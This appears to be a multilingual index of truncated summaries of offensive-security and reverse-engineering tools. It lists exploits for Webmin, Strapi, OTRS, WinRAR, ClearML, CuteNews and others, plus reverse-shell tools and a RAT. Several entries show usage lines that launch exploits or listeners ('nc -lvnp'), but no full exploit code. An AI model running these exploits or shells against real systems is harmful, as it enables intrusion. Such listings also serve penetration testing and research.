webmin_1.920

CVE-2019-15107 Webmin 1.920 未认证远程命令执行 一个针对 CVE-2019-15107 Webmin 1.920 未认证远程命令执行的 Python3 脚本，它利用 mkfifo 创建反向 Shell 或伪交互式 Shell 以绕过防火墙。 开始使用 执行程序 使用 python3 root@kitploit: python3 webmin.py -t https://webmin.site/ -lhost 127.0.0.1 -lport 9001 正向 Shell 防火墙绕过 root@kitploit: python3 webmin.py -t...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト root@kitploit...

datadome-vm-internals

DataDome VM DataDomeは、実際に行っている処理を隠すために、独自のVMをバンドルに埋め込んでいます。興味が湧いて分解してみました。同じようなリバースエンジニアリングパズルに興味がある方のために、ここで共有します。 DataDomeは、高度に難読化されたJavaScriptバンドルをブラウザに送信します。その中にはカスタム仮想マシンが含まれており、実際のフィンガープリンティングロジックを独自のバイトコード形式にコンパイルし、実行時にそのVM内で実行します。これは、執筆時点での最新バージョンの分析です。...

OTRS-4.0.1-6.0.1-Remote-Command-Execution

OTRS-4.0.1-6.0.1 Ejecución remota de comandos Este exploit se desarrolla basado en https://www.exploit-db.com/exploits/43853 Realizará la autenticación contra el panel de OTRS y proporcionará una reverse shell. Uso: python3 CVE-2017-16921.py CVE-2017-16921: En OTRS 6.0.x hasta 6.0.1 inclusive, OT...

LLM4Decompile

📊 结果 | 🤗 模型 | 🚀 快速开始 | 📚 HumanEval-Decompile | 📎 引用 | 📝 论文 | 🖥️ Colab | ▶️ YouTube 逆向工程：利用大型语言模型反编译二进制代码 更新 2025-10-04：发布 SK²Decompile：基于 LLM 的从骨架（Skeleton）到皮肤（Skin）的两阶段二进制反编译。第一阶段：结构恢复（骨架）——将二进制/伪代码转换为混淆的中间表示 🤗 HF 链接。第二阶段：标识符命名（皮肤）——生成具有有意义标识符的人类可读源代码 🤗 HF 链接。 2025-05-20：发布...

ida-pro-mcp

IDA Pro MCP Simple MCP Server to allow vibe reversing in IDA Pro. https://github.com/user-attachments/assets/6ebeaa92-a9db-43fa-b756-eececce2aca0 The binaries and prompt for the video are available in the mcp-reversing-dataset repository. Prerequisites Python 3.11 or higher Use idapyswitch to...

binary-ninja-headless-mcp

Binary Ninja ヘッドレス MCP ヘッドレスなBinary Ninjaサーバーで、MCP（Model Context Protocol）を話し、AIエージェントにGUIなしで深いリバースエンジニアリングワークフロー（逆アセンブル、IL、パッチ、型、相互参照など）への完全なアクセスを提供します。 エージェントランタイムと同じDockerコンテナ内で実行するように設計されています。サイドカーも追加サービスも不要です。 このプロジェクト全体（コード、テスト、ドキュメント）は100％バイブスコードで書かれています。 なぜ 既存のBinary Ninja...

engine

Droidefense Engine 高度なAndroidマルウェア解析フレームワーク 最新リリース ダウンロード Droidefenseとは Droidefense （元々のコードネームはatom: a nalysis t hrough o bservation m achine）は、Androidアプリ/マルウェアの解析・リバースエンジニアリングツールのコードネームです。セキュリティ上の問題や、マルウェア研究者が日常的に直面するトリックに焦点を当てて構築されました。マルウェアにアンチ解析...

reverse-ssh

ReverseSSH A statically-linked ssh server with a reverse connection feature for simple yet powerful remote access. Most useful during HackTheBox challenges, CTFs or similar. Has been developed and was extensively used during OSCP exam preparation. Get the latest Release Features Catching a revers...

redpill

:octocat: プロジェクトの説明 redpillプロジェクトは、リバースTCPシェルのポストエクスプロレーションタスクを支援することを目的としています。多くの場合、レッドチームの任務では、 システム管理者が実装した防御を回避するために、リバースTCPシェル（ metasploitではない ）のような型にはまらない方法でターゲットシステムにアクセスする必要があります。 最初のステップが正常に完了した後、私たちは別の種類の問題に直面します：「ターゲットシステムへの（シェル）アクセスを手に入れたが、今それをどう活用すればいいのか？」 このプロジェクトは、さまざまな...

CVE-2023-38831_ReverseShell_Winrar-RCE

利用WINRAR漏洞CVE-2023-38831获取反向Shell 在本仓库中，我们将利用WinRAR的CVE-2023-38831漏洞，从而从受害Windows机器获取反向Shell到攻击者Kali Linux机器。 前期步骤 下载本仓库的内容： 接下来，我们需要安装必要的Python依赖，以便利用以下命令利用此漏洞： root@kitploit: pip install rarce 准备工作 我们将执行一个恶意代码，从 revshells.com 获取反向Shell（提供相应的攻击者IP和端口）： https://www.revshells.com/ root@kitploit:...

XeytanWxCpp-RAT

警告 本项目仍处于早期开发阶段。 目前，应用程序的界面看起来很糟糕，而且有一个奇怪的 Bug（即下方的第一个 TODO 项，见下文）， 需要尽快修复。 简介 使用 wxWidgets 框架、以 C++ 编写的 RAT 应用程序。 功能特性 获取客户端的系统信息。 进程列表 反弹 Shell 浏览文件系统 TODO 有一个奇怪的 Bug，我不知道如何修复。单步调试时它不会触发，但如果 我直接启动应用程序它就会触发，这是典型的竞态条件（race condition）Bug 特征，但我不知道 如何修复，该 Bug 可以通过...

miasm

Miasm とは？ Miasm は、フリーかつオープンソース（GPLv2）のリバースエンジニアリングフレームワークです。 Miasm は、バイナリプログラムの解析・改変・生成を目的としています。以下は機能の非網羅的なリストです。 PE / ELF 32 / 64 リトルエンディアン / ビッグエンディアンのオープン・改変・生成 X86 / ARM / MIPS / SH4 / MSP430 のアセンブル・逆アセンブル 中間言語を用いたアセンブリのセマンティック表現 JIT を使用したエミュレーション（動的コード解析、アンパッキングなど） 自動難読化解除のための式簡略化 など...

CVE-2024-24590

ClearML 漏洞利用 该仓库包含 ClearML 中反序列化漏洞的概念验证利用代码，可实现远程命令执行。此利用演示了如何将恶意 pickle 工件上传到 ClearML 以获得反向 shell。 先决条件 在开始之前，请确保您满足以下要求： 一台运行 ClearML 的机器。 Python 3.8 或更高版本。 已安装 clearml 库。您可以使用 pip 安装： root@kitploit: pip install clearml clearml-init 按照屏幕提示操作，并在提示时粘贴您的配置设置。 使用以下命令启动监听器： root@kitploit: nc -lvnp...

r2ai

R2AI - 使用 LLM 增强 radare2 逆向 root@kitploit: ╭─────────────────────────────────╮ │ , . . , │ ╭──╮ │ : \ \ |: \ : | │ │ │ │ | |/ || , || : | │ │ O O r2ai -q explain: Explain the current function - devices: Find and explain devices used - libs: Group imports by Libraries - varnames: Better variable...

Codiad-CVE-2018-14009

安装 codiad @ git clone https://github.com/Codiad/Codiad.git 复现步骤 1. 在 ubuntu 服务器上使用 Codiad 2.8.4（最新版本）搭建一个易受攻击的环境 root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 CuteNews 2.1.2 反向Shell上传 这是 Mt-Code POC 的一个略微修改版本，它生成一个完整的反向Shell而不是Web Shell。 此利用使用著名的 PentestMonkey PHP反向Shell。 安装 pip install -r requirements.txt 示例用法： 在应用程序中创建一个用户 运行以下命令 python exploit.py http://target/index.php myuser mypassword 打开一个监听器，并导航到利用所显示的路径。 免责声明：我不声称创建了这两个脚本中的任何一个。...

warsend

WARSend Apache Tomcat Manager API WAR Shell 上传 先决条件 凭据 具有 Tomcat Manager 的 Text API 访问权限 root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||////...

xc

XC Linux・Windows向けのNetcatライクなリバースシェル。 機能 Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd remove...

xc

XC Netcat like reverse shell for Linux & Windows. Features Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active...